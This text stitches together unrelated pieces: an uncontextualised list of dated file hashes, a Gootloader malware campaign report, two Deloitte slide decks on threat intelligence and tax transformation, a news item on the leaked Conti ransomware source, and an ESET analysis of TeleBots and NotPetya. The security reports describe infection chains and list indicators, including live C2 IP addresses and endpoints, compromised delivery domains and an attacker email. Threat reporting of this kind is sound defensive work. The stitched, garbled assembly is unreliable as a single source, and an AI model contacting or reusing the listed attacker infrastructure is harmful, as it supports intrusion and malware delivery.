**Group 1: 3/1/2012 - 3/22/2012**
- `71b548e09fd51250356111f394e5fc64ac54d5a07d9bc57852315484c2046093` (BS2005)
- `39fdcdf019c0fca350ec5bd3de31b6649456993b3f9642f966d610e0190f9297` (BS2005)
- `bfa5d062bfc1739e1fcfacefd3a1f95b40104c91201efc618804b6eb9e30c018`
- `4e38848fabd0cb99a8b161f7f4972c080ce5990016212330d7bfbe08ab49526a`
- `d097a1d5f86b3a9585cca42a7785b0ff0d50cd1b61a56c811d854f5f02909a5d`
- `25a3b374894cacd922e7ff870bb19c84a9abfd69405dded13c3a6ceb5abe4d27`
**Group 2: 6/1/2012 - 7/10/2012**
- `12cc0fdc4f80942f0ba9039a22e701838332435883fa62d0cefd3992867a9e88` (BS2005)
- `a4fae981b687fe230364508a3324cf6e6daa45ecddd6b7c7b532cdc980679076` (BS2005)
- `c1a83a9600d69c91c19207a8ee16347202d50873b6dc4613ba4d6a6059610fa1`
**Group 3: 8/28/2012 - 11/19/2012**
- `023e8f5922b7b0fcfe86f9196ae82a2abbc6f047c505733c4b0a732caf30e966` (BS2005)
- `064051e462990b0a530b7bbd5e46b68904a264caee9d825e54245d8c854e7a8a` (BS2005)
- `07aa6f24cec12b3780ebaba2ca756498e3110243ca82dca018b02bd099da36bb` (BS2005)
- `cdb8a15ededa8b4dee4e9b04a00b10bf4b6504b9a05a25ecae0b0aca8df01ff9` (BS2005)
- `f84a847c0086c92d7f90249be07bbf2602fe97488e2fef8d3e7285384c41b54e` (BS2005)
- `89ccea68f76afa99d4b5d00d35b6d2f229c4af914fbb2763e37f5f87dcf2f7bf`
- `be378ad63b61b03bdc6fd3ef3b81d3c2d189602a24a960118e074d7aff26c7bd`
- `c5d274418532231a0a225fc1a659dd034f38fde051840f8ed39e0b960d84c056`
**Group 4: 4/18/2013 - 11/5/2013**
- `233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f` (BS2005)
- `3795fd3e1fe4eb8a56d611d65797e3947acb209ddb2b65551bf067d8e1fa1945` (BS2005)
- `6d744f8a79e0e937899dbc90b933226e814fa226695a7f0953e26a5b65838c89` (BS2005)
- `b344b9362ac274ca3547810c178911881ccb44b81847071fa842ffc8edfcd6ec` (BS2005)
- `e72c5703391d4b23fcd6e1d4b8fd18fe2a6d74d05638f1c27d70659fbf2dcc58` (BS2005)
- `690c4f474553a5da5b90fb43eab5db24f1f2086e6d6fd75105b54e616c490f3f`
- `d64cd5b4caf36d00b255fdaccb542b33b3a7d12aef9939e35fdb1c5f06c2d69c`
- `0ec913017c0adc255f451e8f38956cfc1877e1c3830e528b0eb38964e7dd00ff`
**Group 5: 5/2/2013 - 10/23/2013**
- `012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc`
- `0f88602a11963818b73a52f00a4f670a0bf5111b49549aa13682b66dd9895155`
- `2a454d9577d75ac76f5acf0082a6dca37be41f7c74e0a4dbd41d8a9a75120f5c`
- `66d9001b6107e16cdb4275672e8dd21b3263481a56f461428909a7c265c67851`
- `863ee162a18d429664443ce5c88a21fd629e22ad739191c7c6a9237f64cdd2f3`
**Group 6: 03/09/2014**
- `F3c39376aa93b6d17903f1f3d6a557eb91a977dae19b4358ef57e686cd52cc03`
- `7c17ccdd8eba3791773de8bc05ab4854421bc3f2554c7ded00065c10698300fe`
**Group 7: 08/26/2014**
- `eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4`
**Group 8: 04/09/2014**
- `04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05`
**Group 9: 3/11/2015**
- `6eb3528436c8005cfba21e88f498f7f9e3cf40540d774ab1819cddf352c5823d`
**Group 10: 08/04/2015**
- `6bcf242371315a895298dbe1cdec73805b463c13f9ce8556138fa4fa0a3ad242`
**Group 11: 12/28/2015**
- `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
- `38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f`
- `67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed`
- `9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba` |
# Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets
Antonio Pirozzi
The ongoing Gootloader campaign expands its scope to highly sensitive assets worldwide including financial, military, automotive, pharmaceutical, and energy sectors, operating on an Initial Access as a Service model.
## Executive Summary
Since the beginning of January 2021, an active Gootloader campaign has been observed in the wild, expanding its scope of interest to a wider set of enterprise verticals worldwide. Analysis of over 900 unique droppers reveals that the campaign targets diverse enterprise and government verticals including military, financial, chemistry, banks, automotive, investment companies, and energy stakeholders, primarily in the US, Canada, Germany, and South Korea. Around 700 high-traffic compromised websites were used as a delivery network. The campaign uses tailored filenames to lure targets in a typical form of social engineering. This campaign has a low static detection rate alongside robust sandbox evasion techniques and ‘fileless’ stages. Considering the wide distribution of the campaign and the heterogeneity of its deployed arsenal, we assess that Gootloader acts as an ‘Initial Access As a Service’ provider, after which a variety of tools may be deployed.
## Introduction
We have been tracking an active Gootloader campaign aimed at enterprise and government targets worldwide. The primary industries of interest appear to be U.S. military, governmental, and financial entities, trading, mining, green energy, game industries, and automotive companies, as well as their suppliers and service providers.
First spotted in 2014, Gootkit was born as a banking trojan. It has since evolved to become more of an infostealer, operated by what appears to be a cluster of actors. The name ‘Gootkit’ is often used interchangeably to refer to both the malware and the group, but that’s admittedly loose. In March 2021, Sophos were the first to identify the multi-payload delivery platform and call it “Gootloader”.
Early activity of Gootloader campaigns was first spotted by security researcher @ffforward in late 2020 and later published by ASEC, Malwarebytes, and TrendMicro. Pivoting on those findings, we were able to gather a sizable amount of malicious artifacts related to the same Gootloader campaign. We collected about 900 JavaScript (js) droppers from a period of four months (1 Jan 2021 – 25 April 2021) by leveraging this Gootloader_JavaScript_infector YARA Rule. Our aim is to deepen our understanding of the Gootloader service platform and the selective nature of this campaign: topics that haven’t been investigated at scale.
The campaign uses customized filenames to lure targets through SEO poisoning, with the name of the js loader playing an active part of the social engineering process. For this reason, we deemed that in this campaign the filenames provided a strong indication of the contents victims were interested in searching for and, by extension, the scope of the intended targets. The detection rate of these artifacts on VirusTotal engines is very low and ranges from 1 to 7.
Moreover, considering that the subsequent stages are downloaded and executed in-memory, this ‘fileless’ mechanism is very effective at evading standard sandboxes.
## The Stealthy JS Loader
The core component of Gootloader is a small js loader (2.8 KB) that acts as the first stage of the infection chain. It’s not new, and the same artifact is used in other Gootkit campaigns. The loader is composed of three highly obfuscated layers that contain encoded URLs. These form part of a network of compromised websites used to deliver the final payload, typically one of the malware families listed below:
- BlueCrab (mostly targeting Korean Users)
- Cobalt Strike Beacons
- Gootkit
- Kronos
- Revil
We see Gootloader as a cluster of activity representing an ‘Initial Access as a Service’ business model, allowing it to distribute malware for different cybercrime groups for affiliate fees. All of the above payloads are known ‘MaaS’ (Malware-as-a-Service) families that thrive on affiliate distribution models. Seeing that in some cases the payload distributed is Cobalt Strike, we cannot exclude that the Gootloader operators are conducting their own reconnaissance or credential harvesting for further gain.
Analyzing the JavaScript components was made drastically easier with the use of HP’s Gootloader decoder to automate the deobfuscation and extraction of embedded URLs and content.
The beautified version of the js loader’s first layer reveals the malicious logic. Once deobfuscated, we obtain the 2nd layer. And finally, the cleartext (and beautified) version shows how Gootloader performs some target filtering to ensure that the victim is a part of an Active Directory domain via expanding the "%USERDNSDOMAIN%" environment variable.
If the check returns true, then it appends an id (278146 in the above example) at the end of the query string and requests the next stage from one of the websites contained in the ‘K’ array.
## Gootloader Delivery Platform
In this section, we examine how the Gootloader delivery network works, starting with the distribution of the js loader using a social engineering lure all the way to the final payload. The delivery network is composed of two levels. The first level consists of compromised well-ranked websites indexed by Google and hijacked by threat actors to host a js redirector. At the time of writing, we estimate there are around 700 different compromised websites worldwide.
The script embedded on these compromised websites is responsible for performing the following checks via HTTP headers before delivering the js loader to the target:
- referral: check that the request comes specifically from a Google search
- first time condition: check that the host/machine has not previously visited the site
- timezone: check the timezone based on the requester IP
The timezone check is particularly interesting: in our analysis, the Gootloader platform apparently ‘geofences’ its intended targets by only delivering malware if the victim comes from specific countries: the US, Canada, Germany, and South Korea. If any of the above conditions is not met, then the redirector builds a dummy page without a malicious component for the user. Otherwise, the embedded script automatically builds and displays a fake forum page containing a thread relevant to the user’s search content, along with the link to the js loader.
The compromised websites use old and vulnerable CMS versions that have been exploited to insert the malicious script. During our analysis, we were able to extract the exploited domains used as a second-level delivery network for this campaign (the list is not exhaustive):
- www.kartatatrzanska.pl
- www.hrgenius-uk.com
- www.joseph-koenig-gymnasium.de
- www.hagdahls.com
- www.formenbau-jaeger.de
- www.fabiancoutoxp.com.ar
- www.cristianivanciu.ro
- www.communityhalldp.org.uk
- www.hoteladler.it
- www.handekazanova.com
- www.hccpa.com.tw
- www.forumeuropeendebioethique.eu
- www.cwa1037.org
- www.edmondoberselli.net
- www.ehiac.com
- www.cljphotographyny.com
- www.charismatrade.ro
- www.commitment.co.at
- www.giuseppedeluigi.com
- www.esist.org
- www.dischner-kartsport.de
- www.espai30lasagrera.cat
- www.kettlebellgie.be
- www.frerecapucinbenin.org
- www.adpm.com.br
The malicious link embedded into the fake page points to a .php resource. In turn, that component is responsible for delivering the malicious loader to victims by pulling a zip archive containing the js loader with the same name from the second level delivery network. The above URL reminds us of a typical webshell schema through which it’s possible to track campaigns and victims. Moreover, subsequent attempts to download the same file using the same URL from the same machine will fail. Each download attempt automatically generates a new URL. In fact, three different attempts from different IPs generate unique URLs. This substantiates the notion of a fully-automated assembly line process for malicious bundles.
Once the malicious js loader is delivered to the victim and executed through the wscript.exe process, it performs another request to one of the embedded domains belonging to the same 2nd level delivery network. In the request, the loader passes a random-looking parameter to the search.php component, assigning a value to it. The assigned value consists of a randomly generated numeric value followed by an ID that signals that the user is part of a domain. The query parameter changes for each analyzed dropper. By extracting a few of them, we noticed differences in length.
We were able to populate at least five different clusters based on assigned lengths: 12, 13, 14, 16, and 18. A randomly generated, unique string is assigned to each loader. The query parameter, at this stage, may be used for download tracking or other purposes.
## Delivery of the Final Payload
If the js loader succeeds in contacting the C2, then it retrieves an encoded PowerShell stager that in turn downloads the next payload and writes it to the registry as a list of keys. The js loader then deploys additional PowerShell responsible for loading and decoding the content hidden in the registry.
The additional PowerShell is responsible for extracting the payload from the registry, converting it from ASCII into bytes through the chba() function, then loading and executing it by reflection. At this point, the code spawns the ImagingDevices.exe process and injects itself into it via process hollowing. As noted above, the injected payload varies between Cobalt Strike Beacons and various well-known malware families such as REvil and Kronos.
Analysis of the network communication allowed us to spot different network clusters revolving around the following IPs:
- 23.106.122.245
- 78.128.113.14
These two Cobalt Strike Team Servers now appear to serve Gootloader exclusively; however, there appears to be some infrastructure overlap on 78.128.113.14. This particular host has been observed as part of multiple Cobalt Strike-centric campaigns over the last several years. It is not possible to conclusively say that the same “actor” or “group” has been operating that infrastructure throughout the history of its misuse. That said, it is important to note that while campaigns have varied, this host has constantly been utilized to stage and serve CS Beacons and additional payloads, up to and including this ongoing Gootloader campaign. It is reasonable to assume given such history that the host is at least partially under control of an affiliate group.
## Victimology
As evidenced by artifacts in the code, this ongoing Gootloader campaign is selective and targets users from enterprise environments. Extrapolating from the variety of languages used in various components of the campaign, we can surmise that the operators favored targets in Korean, German, and English-speaking environments.
The names of lures embedded into Gootloader samples also offer additional insights into the nature of the desired targets. For example, the artifact ‘besa_national_agreement_2021.js’ could suggest targets interested in components supplied by an Italian manufacturing company that produces security valves. Categorizing the loaders by their names, we can surmise targeted verticals.
Interestingly, Korean loaders follow a different naming convention to that used for other languages. Rather than using company names or specific entities, they use a more generic naming scheme. This could indicate the presence of region-specific Gootloader operators with their own TTPs. It’s notable that despite not expressly targeting specific entities, these infections continue to check for users that are part of corporate domains.
| NAME | TRANSLATION |
| --- | --- |
| 유튜브_영상(egj).js | YouTube_Video(egj).js |
| 휴먼명조_폰트(fm).js | Human Myeongjo_Font(fm).js |
| 살육의_천사_게임(lep).js | Slaughter_angel_game(lep).js |
| 바코드생성프로그램(bo).js | Barcode generation program (bo).js |
| 웨스트월드_시즌2_2화(jbk).js | West World_Season 2 Episode 2(jbk).js |
| 스팀_게임_무료(wdb).js | Steam_Game_Free(wdb).js |
## Conclusion
We analyzed an ongoing Gootloader campaign attempting to lure professionals and enterprise employees worldwide. The selective nature of this campaign, the option to deliver multiple payloads, as well as the utilization of Cobalt Strike leads us to believe that Gootloader is an ‘Initial Access as a Service’ provider primarily for ransomware operators. This malicious operation is still active at the time of writing, and we continue to expect future campaigns seeking additional targets and verticals. For that reason, we continue to actively monitor Gootloader as a means of distribution for the next strand of widespread ransomware.
## IoCs Gootloader Q1 2021
### MITRE TTPs
**Js loader + powershell stage:**
**Initial Access (TA0001):**
- T1566 Phishing
- T1566.002 Spear Phishing Link
- T0817 Drive-by Compromise
**Execution (TA0002):**
- T1059.007 Command and Scripting Interpreter: JavaScript
- T1059.001 Command and Scripting Interpreter: Powershell
- T1204.002 User Execution: Malicious File
**Persistence (TA0003):**
- T1547.001 Boot or Logon Autostart Execution
**Defence Evasion (TA0005):**
- T1027 Obfuscated Files or Information
**Privilege Escalation (TA0004):**
- T1055.012 Process Injection: Process Hollowing
### URLs (Delivery Network)
- www.hagdahls.com/search.php? | /about.php?
- www.hoteladler.it/search.php? | /about.php?
- www.handekazanova.com/search.php? | /about.php?
- www.hccpa.com.tw/search.php? | /about.php?
- www.hrgenius-uk.com/search.php? | /about.php?
- www.joseph-koenig-gymnasium.de/search.php? | /about.php?
- www.kartatatrzanska.pl/search.php? | /about.php?
- www.edmondoberselli.net/search.php? | /about.php?
- www.cwa1037.org/search.php? | /about.php?
- www.ehiac.com/search.php? | /about.php?
- www.cljphotographyny.com/search.php? | /about.php?
- www.charismatrade.ro/search.php? | /about.php?
- www.commitment.co.at/search.php? | /about.php?
- www.giuseppedeluigi.com/search.php? | /about.php?
- www.esist.org/search.php? | /about.php?
- www.dischner-kartsport.de/search.php? | /about.php?
- www.espai30lasagrera.cat/search.php? | /about.php?
- www.kettlebellgie.be/search.php? | /about.php?
- www.forumeuropeendebioethique.eu/search.php? | /about.php?
- www.frerecapucinbenin.org/search.php? | /about.php?
- www.formenbau-jaeger.de/search.php? | /about.php?
- www.fabiancoutoxp.com.ar/search.php? | /about.php?
### Cobalt C2
- 78.128.113.14
- 23.106.122.245
### Network Communication
- https://78.128.113.14/j.ad
- https://78.128.113.14/ca
- https://78.128.113.14/updates.rss
- https://78.128.113.14/load
- https://78.128.113.14/pixel.gif
- https://23.106.122.245/pixel.gif
- https://23.106.122.245/fwlink
### YARA
https://github.com/sophoslabs/IoCs/blob/master/Troj-gootloader.yara
### SHA1s and Lures
Over 900 SHA1 hashes identified as part of the Gootloader Q1 2021 campaign along with some of the most relevant lures and embedded URLs used for the delivery of the payloads: https://github.com/SentineLabs/Gootloader-iocs-q1-2021 |
# Cyber Threat Intelligence & Incident Response
**29 November 2019**
**Thomas Thomasen**
Senior Manager, Threat Intelligence Specialist
Part of Deloitte’s Global Cyber Threat Intelligence Team & Deloitte DK’s IR Team
Former Analyst at Danish Defence. MSc Theory and History of International Relations
I love the hunt!
## Agenda
1. Our Worldview – The Big Picture
2. What is Threat Intelligence?
3. Intelligence-driven Incident Response
## What is Threat Intelligence?
Threat intelligence is actionable knowledge and insight on adversaries and their malicious activities enabling defenders and their organizations to reduce risks through better security decision-making.
(From Sergio Caltagirone)
### Key Aspects of Threat Intelligence
- Who adversaries are
- What adversaries use
- Where adversaries target
- When adversaries act
- Why adversaries attack
- How adversaries operate
### Threat Intelligence Production Lifecycle
1. **Planning & Direction**: Activities associated with mapping of business risks to threats and creating PIRs & IRs to set the direction for collections activities.
2. **Collection & Triage**: Activities associated with monitoring of data and intelligence sources for relevant threats and triage of the information collected.
3. **Analysis**: Activities associated with the analysis of information about threats, assessment of associated risks, and development of courses of action to protect against the threats and mitigate associated risks.
4. **Production**: Activities associated with the generation of intelligence products and outputs (e.g., threat advisories, intelligence feeds).
5. **Dissemination**: Activities associated with the distribution, integration, and sharing of intelligence products with the appropriate teams and/or technologies to be actioned accordingly.
## Intelligence-driven Incident Response
### Unwrapping ‘Prepare’
**Challenge**: Many organizations fail to coordinate across silos or link crisis management plans with overall strategy, making their efforts not cost-effective or focused on the most critical scenarios.
**What is needed?**
- Wargaming
- Intelligence-led red/blue teaming
- Crisis management strategy
- Stakeholder dialogue
- Business continuity management and planning
- Communication plans
- Issue management
- Executive and spokesperson training
### Unwrapping ‘Control’
**Challenge**: When a crisis occurs, the executive response is highly scrutinized and must be rapid, coordinated, and precise.
**What is needed?**
- Mobilize crisis management team and support
- Decide your strategic intent
- Find necessary information
- Formulate position and key message
- Contain the situation
- Communicate with internal and external stakeholders
- Evaluate continuously.
### Unwrapping ‘Recover’
**Challenge**: Without attention and focus, recovery can be slow, and the loss of trust, disruptions to the business, and damage to key relationships can linger.
**What is needed?**
- Impact assessment
- Forensics
- Post Event Recovery Office
- Strategy and plan revision
- Stakeholder management
- Corporate communication.
### Unwrapping ‘Learn’
**Challenge**: Often mistakes are repeated because organizations fail to learn from crisis post-mortems.
**What is needed?**
- Post-crisis evaluation
- Simulations & war games
- Penetration tests, ethical hacking
- Behavioral and cultural transformation
- Standards and certifications
- Continuously train across the organization.
## Please reach out
**Thomas Thomasen**
tthomasen@deloitte.dk
30 93 46 19
---
# Tax Transformation
**Jonas Reinholdt Albjerg**
**28 November 2018**
## Changing Environment for Tax
### Trends Impacting Tax Departments
- Global regulatory changes
- Rapidly changing technology
- Brand risk
- Global transparency
- Limited resources
- Add more value
### Rapidly Changing Technology
Tax in a digital world is already with us. How will global tax groups be affected by data sharing between authorities?
What is a tax department of the future - talent models, skills, and work methods?
### SAF-T, Real-time Reporting and Other Requirements Overview
While not exhaustive, the following map highlights key country requirements for SAF-T, e-audit, and real-time reporting requirements, particularly within Europe.
| Country | Requirements |
|---------------|-----------------------------------------------------------------------------|
| UK | Making Tax Digital (MTD), Digitization of tax submissions |
| Ireland | Electronic submission of Payroll Tax Data from 2019 at time of payment |
| Luxembourg | SAF-T applicable, OECD SAF-T based |
| France | Reduced SAF-T applicable, Data of statutory accounting |
| Portugal | SAF-T applicable, GL, supplier and customer info, tax table, invoices |
| Spain | Spanish SII implemented in 2017 |
| Austria | SAF-T applicable |
| Brazil | SPED system, disclose full invoice details |
## Common Failures in ERP and Tax
### System Failures
- Tax determination logic
- Insufficient tax codes
- Standard reports often insufficient
- Invoicing layout or number sequences can be incorrect
- Foreign VAT challenges
- Master Data issues
### Other Failures
- Manual work, duplication of effort
- Ownership issues
- Inadequate training
- Communication gaps
- Insufficient documentation
## Benefits of Doing It Right
### Monetary
- Global tax burden may be improved with commercially integrated tax planning
- Cash flow benefits: accuracy, timing, earlier reclaims
### Data and Processes
- Improved data capture leading to more accurate tax treatment
- Transparency and consistency in processes
### Resources
- Reduced cost of compliance
- Timely and accurate data management
## Finding Opportunity in Change
### Operations
- Reduce costs
- Right-size global spend
- Alleviate resource constraints
### Technology
- Transformed tax processes and technology
- Access to leading-edge technology
### Talent
- Futureproof your resource with a pool of tax and technology specialists
---
**About Deloitte**
Deloitte provides audit, consulting, financial advisory, risk advisory, tax, and related services to public and private clients spanning multiple industries. To learn more about how Deloitte’s approximately 264,000 professionals make an impact that matters, please connect with us on Facebook, LinkedIn, or Twitter. |
# Conti Ransomware Source Code Leaked by Ukrainian Researcher
A Ukrainian researcher continues to deal devastating blows to the Conti ransomware operation, leaking further internal conversations, as well as the source for their ransomware, administrative panels, and more. It has been quite a damaging week for Conti after they sided with Russia on the invasion of Ukraine and upset Ukrainian affiliates and a researcher who has been secretly snooping on their operation.
On Sunday, a Ukrainian researcher using the Twitter handle @ContiLeaks leaked 393 JSON files containing over 60,000 internal messages taken from the Conti and Ryuk ransomware gang's private XMPP chat server. These conversations were from January 21st, 2021, through February 27th, 2022, providing a treasure trove of information on the cybercrime organization, such as bitcoin addresses, how the gang is organized as a business, evading law enforcement, how they conduct their attacks, and much more.
On Monday, the researcher kept leaking more damaging Conti data, including an additional 148 JSON files containing 107,000 internal messages since June 2020, which is around when the Conti ransomware operation was first launched.
ContiLeaks began releasing more data throughout the night, including the source code for the gang's administrative panel, the BazarBackdoor API, screenshots of storage servers, and more. However, a part of the leak that got people excited was a password-protected archive containing the source code for the Conti ransomware encryptor, decryptor, and builder. While the leaker did not share the password publicly, another researcher soon cracked it, allowing everyone access to the source code for the Conti ransomware malware files.
If you are a reverse engineer, the source code may not provide additional information. However, the source code provides enormous insight into how the malware works for those who can program in C, but not necessarily reverse engineer. While this is good for security research, the public availability of this code does have its drawbacks. As we saw when the HiddenTear (for "educational reasons") and Babuk ransomware source code was released, threat actors quickly coopt the code to launch their own operations. With code as tight and clean as the Conti ransomware operation, we should expect other threat actors to attempt to launch their own criminal operations using the leaked source code.
What may be more helpful, though, is the BazarBackdoor APIs and TrickBot command and control server source code that was released, as there is no way to access that info without having access to the threat actor's infrastructure. As for Conti, we will have to wait and see if this "data breach" has much of an impact on their operation. This has been a significant reputational blow for the group that may cause affiliates to move to another ransomware operation. But, just like all businesses, and there is no denying Conti is run like a business, data breaches happen all the time. |
# TeleBots are back: Supply-chain attacks against Ukraine
This blogpost reveals many details about the Diskcoder.C (aka ExPetr or NotPetya) outbreak and related information about previously unpublished attacks.
## TeleBots
In December 2016, we published two detailed blogposts about disruptive attacks conducted by the group ESET researchers call TeleBots, specifically about attacks against financial institutions and a Linux version of the KillDisk malware used by this group. The group mounted cyberattacks against various computer systems in Ukraine; systems that can be defined as critical infrastructure. Moreover, this group has connections with the infamous BlackEnergy group that was responsible for the December 2015 power outages in Ukraine.
In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims’ disks. Collecting ransom money was never the top priority for the TeleBots group. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files. Further, it did not provide contact information for communicating with the attacker; it just displayed an image from the Mr. Robot TV show.
In the second wave of attacks, the cybersaboteurs behind the KillDisk malware added contact information to the malware, so it would look like a typical ransomware attack. However, the attackers asked for an extraordinary number of bitcoins: 222 BTC (about $250,000 at that time). This might indicate that they were not interested in bitcoins, but their actual aim was to cause damage to attacked companies.
In 2017, the TeleBots group didn’t stop their cyberattacks; in fact, they became more sophisticated. Between January and March 2017, the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc) and, using VPN tunnels from there, gained access to the internal networks of several financial institutions. During that attack, those behind TeleBots enhanced their arsenal with two pieces of ransomware and updated versions of tools mentioned in the previously-linked blogposts.
The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator.
The second backdoor, which was written in VBS and packaged using the script2exe program, was heavily obfuscated but the functionality remained the same as in previous attacks. This time the VBS backdoor used the C&C server at 130.185.250[.]171. To make connections less suspicious for those who check firewall logs, the attackers registered the domain transfinance.com[.]ua and hosted it on that IP address.
In addition, the attacker used the following tools:
- CredRaptor (password stealer)
- Plainpwd (modified Mimikatz used for recovering Windows credentials from memory)
- SysInternals’ PsExec (used for lateral movement)
As mentioned above, in the final stage of their attacks, the TeleBots attackers pushed ransomware using stolen Windows credentials and SysInternals’ PsExec. This new ransomware was detected by ESET products as Win32/Filecoder.NKH. Once executed, this ransomware encrypts all files (except files located in the C:\Windows directory) using AES-128 and RSA-1024 algorithms. The malware adds the .xcrypted file extension to already-encrypted files.
When encryption is done, this filecoder malware creates a text file !readme.txt with the following content:
*Please contact us: openy0urm1nd@protonmail.ch*
In addition to Windows malware, the TeleBots group used Linux ransomware on non-Windows servers. This ransomware is detected by ESET products as Python/Filecoder.R and, predictably, it is written in the Python programming language. This time attackers execute third-party utilities such as openssl in order to encrypt files. The encryption is done using the RSA-2048 and AES-256 algorithms.
On 18 May 2017, we noticed new activity on the part of another ransomware family Win32/Filecoder.AESNI.C (also referred to as XData). This ransomware was spread mostly in Ukraine, because of an interesting initial vector. According to our LiveGrid® telemetry, the malware was created right after execution of the M.E.Doc software that is widely used by accounting personnel in Ukraine.
The Win32/Filecoder.AESNI.C ransomware had a spreading mechanism that allowed it to perform lateral movement automatically, inside a compromised company LAN. Specifically, the malware had an embedded Mimikatz DLL that it used to extract Windows account credentials from the memory of a compromised PC. With these credentials, the malware started to spread inside its host network using SysInternals’ PsExec utility.
It seems that the attackers either did not reach their goal on that occasion, or it was the test before a more effective strike. The attackers posted master decryption keys on the BleepingComputer forum, along with the assertion that this was done because the original author claimed that the source was stolen and used in the Ukraine incident.
## Diskcoder.C (aka Petya-like) outbreak
What did gain a lot of media attention, however, was the Petya-like outbreak of 27 June 2017, because it successfully compromised a lot of systems in critical infrastructure and other businesses in Ukraine, and further afield. The malware in this attack has the ability to replace the Master Boot Record (MBR) with its own malicious code. This code was borrowed from Win32/Diskcoder.Petya ransomware. That’s why some other malware researchers have named this threat as ExPetr, PetrWrap, Petya, or NotPetya. However, unlike the original Petya ransomware, Diskcoder.C’s authors modified the MBR code in such a way that recovery won’t be possible. Specifically, the attacker cannot provide a decryption key and the decryption key cannot be typed in the ransom screen, because the generated key contains non-acceptable characters.
Visually this MBR part of Diskcoder.C looks like a slightly modified version of Petya: at first it displays a message that impersonates CHKDSK, Microsoft’s disk checking utility. During the faux CHKDSK scan Diskcoder.C actually encrypts the data. When encryption is complete, the MBR code displays the next message with payment instructions, but as noted before this information is useless.
The remainder of the code, other than the borrowed MBR, was implemented by the authors themselves. This includes file encryption that can be used as a complement to the disk-encrypting MBR. For file encryption, the malware uses the AES-128 and RSA-2048 algorithms. It should be noted that the authors made mistakes that make decryption of files less possible. Specifically, the malware encrypts only the first 1MB of data and it does not write any header or footer, only raw encrypted data and does not rename encrypted files, so it’s hard to say which files are encrypted and which are not. In addition to that, files that are larger than 1MB after encryption do not contain padding, so there is no way to verify the key.
Interestingly, the list of target file extensions is not identical but is very similar to the file extensions list from the KillDisk malware used in the December 2016 attacks. Once the malware is executed it attempts to spread using the infamous EternalBlue exploit, leveraging the DoublePulsar kernel-mode backdoor. Exactly the same method was used in the WannaCryptor.D ransomware. Diskcoder.C also adopted the method from the Win32/Filecoder.AESNI.C (aka XData) ransomware: it uses a lightweight version of Mimikatz to obtain credentials and then executes the malware using SysInternals’ PsExec on other machines on the LAN. In addition to that, the attackers implemented a third method of spreading using a WMI mechanism.
All three of these methods have been used to spread malware inside LANs. Unlike the infamous WannaCryptor malware, the EternalBlue exploit is used by Diskcoder.C only against computers within the local network address space.
## Initial infection vector
Both Diskcoder.C and Win32/Filecoder.AESNI.C used a supply-chain attack as the initial infection vector. These malware families were spread using Ukrainian accounting software called M.E.Doc. There are several options for how this attack can be implemented. The M.E.Doc has an internal messaging and document exchange system so attackers could send spearphishing messages to victims. User interaction is required in order to execute something malicious in this way. Thus, social engineering techniques would be involved.
However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction. That’s why so many systems in Ukraine were affected by this attack. However, it seems like the malware authors underestimated the spreading capabilities of Diskcoder.C.
ESET researchers found evidence that supports this theory. Specifically, we identified a malicious PHP backdoor that was deployed under medoc_online.php in one of the FTP directories on M.E.Doc’s server. This backdoor was accessible from HTTP; however, it was encrypted, so the attacker would have to have the password in order to use it.
We should say that there are signs that suggest that Diskcoder.C and Win32/Filecoder.AESNI.C were not the only malware families that were deployed using that infection vector. We can speculate that these malicious updates were deployed in a stealthy way to computer networks that belong to high-value targets. One such malware that was deployed via this possible compromised M.E.Doc update server mechanism was the VBS backdoor used by the TeleBots group.
## Conclusions
The TeleBots group continues to evolve in order to conduct disruptive attacks against Ukraine. Instead of spearphishing emails with documents containing malicious macros, they used a more sophisticated scheme known as a supply-chain attack. Prior to the outbreak, the Telebots group targeted mainly the financial sector. The latest outbreak was directed against businesses in Ukraine, but they apparently underestimated the malware’s spreading capabilities. That’s why the malware went out of control.
## Indicators of Compromise (IoC)
**ESET detection names:**
- Win32/TeleBot trojan
- VBS/Agent.BB trojan
- VBS/Agent.BD trojan
- VBS/Agent.BE trojan
- Win32/PSW.Agent.ODE trojan
- Win64/PSW.Agent.K trojan
- Python/Filecoder.R trojan
- Win32/Filecoder.AESNI.C trojan
- Win32/Filecoder.NKH trojan
- Win32/Diskcoder.C trojan
- Win64/Riskware.Mimikatz application
- Win32/RiskWare.Mimikatz application
**C&C servers:**
- transfinance.com[.]ua (IP: 130.185.250.171)
- bankstat.kiev[.]ua (IP: 82.221.128.27)
- www.capital-investing.com[.]ua (IP: 82.221.131.52)
**Legitimate servers abused by malware authors:**
- api.telegram.org (IP: 149.154.167.200, 149.154.167.197, 149.154.167.198, 149.154.167.199)
**VBS backdoor:**
- 1557E59985FAAB8EE3630641378D232541A8F6F9
- 31098779CE95235FED873FF32BB547FFF02AC2F5
- CF7B558726527551CDD94D71F7F21E2757ECD109
**Mimikatz:**
- 91D955D6AC6264FBD4324DB2202F68D097DEB241
- DCF47141069AECF6291746D4CDF10A6482F2EE2B
- 4CEA7E552C82FA986A8D99F9DF0EA04802C5AB5D
- 4134AE8F447659B465B294C131842009173A786B
- 698474A332580464D04162E6A75B89DE030AA768
- 00141A5F0B269CE182B7C4AC06C10DEA93C91664
- 271023936A084F52FEC50130755A41CD17D6B3B1
- D7FB7927E19E483CD0F58A8AD4277686B2669831
- 56C03D8E43F50568741704AEE482704A4F5005AD
- 38E2855E11E353CEDF9A8A4F2F2747F1C5C07FCF
- 4EAAC7CFBAADE00BB526E6B52C43A45AA13FD82B
